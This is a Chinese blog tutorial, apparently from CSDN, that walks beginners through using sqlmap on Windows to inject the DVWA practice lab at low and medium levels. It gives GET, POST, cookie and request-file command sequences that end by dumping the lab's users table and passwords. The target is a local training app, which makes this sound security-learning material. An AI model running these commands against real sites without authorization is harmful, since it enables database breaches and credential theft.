sqlmap在windows上执行sql注入,利用dvwa靶场

sqlmap在windows上执行sql注入,利用dvwa靶场

1.首先你要安装好sqlmap并且配置好坏境,不知道的百度搜索吧,还是比较简单的。
2.先安利一个博主手工注入的博客吧,建议学的时候先手工注入明白原理,体验一下痛楚,哈哈哈哈。
https://blog.csdn.net/qq_36119192/category_8345945.html
3.接下来我分享一下我的sqlmap注入过程

··1网上很多都是在kali linux上执行的,但是别人建议新手小白先不要用这个,所以我就在windows上执行的/

··2 windows+r打开命令窗口,将路径切换到sqlmap的安装路径下,我的路径在D 盘,仅作参考。接下来的语句在这里输入就可以了。
sqlmap文件夹打开差不多是这样的
在这里插入图片描述
3.从dvwa的sql injection low级别开始吧【盲注一样】
用sqlmap注入的好处好像有几个特别明显的,无论是普通的注入还是盲注,语句方法都一样,只要区分是get型还是post型,还可以避免后端代码的一些过滤函数。
在这里插入图片描述先输入个1试一下,看见地址栏的变化,很快就可以知道是get型,或者点击右下角的views source查看后端代码也可以看出是get型。

get 型(不管是普通注入还是盲注都一样)
方法一:
1.python sqlmap.py -u "url" --dbs
2.python sqlmap.py -u "url" --current-db
3.python sqlmap.py -u "url" -D 数据库名 --tables
4.python sqlmap.py -u "url"  -D 数据库名 -T 表名 --columns
5.python sqlmap.py -u "url"  -D 数据库名 -T 表名 -C 列名1,列名2 --dump

方法二:【加上cookie的,好像不怎么用,先用bp抓吧,将cookie值加上即可】
1.1.python sqlmap.py -u "url"  
	--cookie ""--dbs
其他步骤都一样

严格按照上面的代码就可以实现注入了。没有引号的地方不要擅自加上引号,大小写严格区分。
我这里放一下我自己执行的语句吧,

1.python sqlmap.py -u "http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"  --cookie "security=low; PHPSESSID=---------"--dbs

其他的就按照这条语句把后面的改一下就好了,不要复制我的url,可能安装的路径不一样。
、、至于方法二中的cookie是因为有些网站有网页的跳转什么的,获取cookie的方法,用burpsuite抓包就可以看到cookie。这个题目就需要加上cookie才能得到注入结果。在注入过程中,需要恢复y\n之类的,一般填y就可以,如果你不想麻烦,在语句的最后加上 --batch 就可以实现全自动。

4.接下来讲一下dvwa 的medium级别
在这里插入图片描述先输入个1试一下,看见地址栏无变化,很快就可以知道是post型,或者点击右下角的views source查看后端代码也可以看出是post型。

post 型(不管是普通注入还是盲注都一样)【好像还可以忽略是数字型还是字符型】
方法一:【--data ""】【不行时需要加上--cookie ""在--data ""后面】
1.python sqlmap.py -u "url" --data "id=1&Submit=Submit" --dbs	
	【--data后面的内容是post提交时的内容,可以用BP抓包查看】
2.python sqlmap.py -u "url" --data "id=1&Submit=Submit" --current-db
3.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa --tables
4.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa -T users --columns
5.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password --dump


方法二:【-r 文件路径】需要先用BP抓包,然后右键copy to file存起来, 
1.python sqlmap.py -r sqlmapExperiment/5.txt --dbs
2.python sqlmap.py -r sqlmapExperiment/5.txt --current-db
3.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa --tables
4.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa -T users --columns
5.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa -T users -C user,password --dump

方法一就不详细讲了,没什么特别的,讲一下方法二的文件吧。
1.用bp抓包,然后右键选择copy to file,存起来,-r 后面的是文件路径
看一下我的文件路径在这里插入图片描述我这里在sqlmap文件夹里建了一个sqlmapExperiment来存储文件。
讲一下用bp的存储过程
在这里插入图片描述点进去之后自己找路径存下,一般的可以直接存储在sqlmap文件夹下,也可以像我一样建一个文件夹专门存储这个,所以-r 后面的相对路径会不同。

就先讲到这里吧,有问题的可以私信。欢迎大家提意见。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值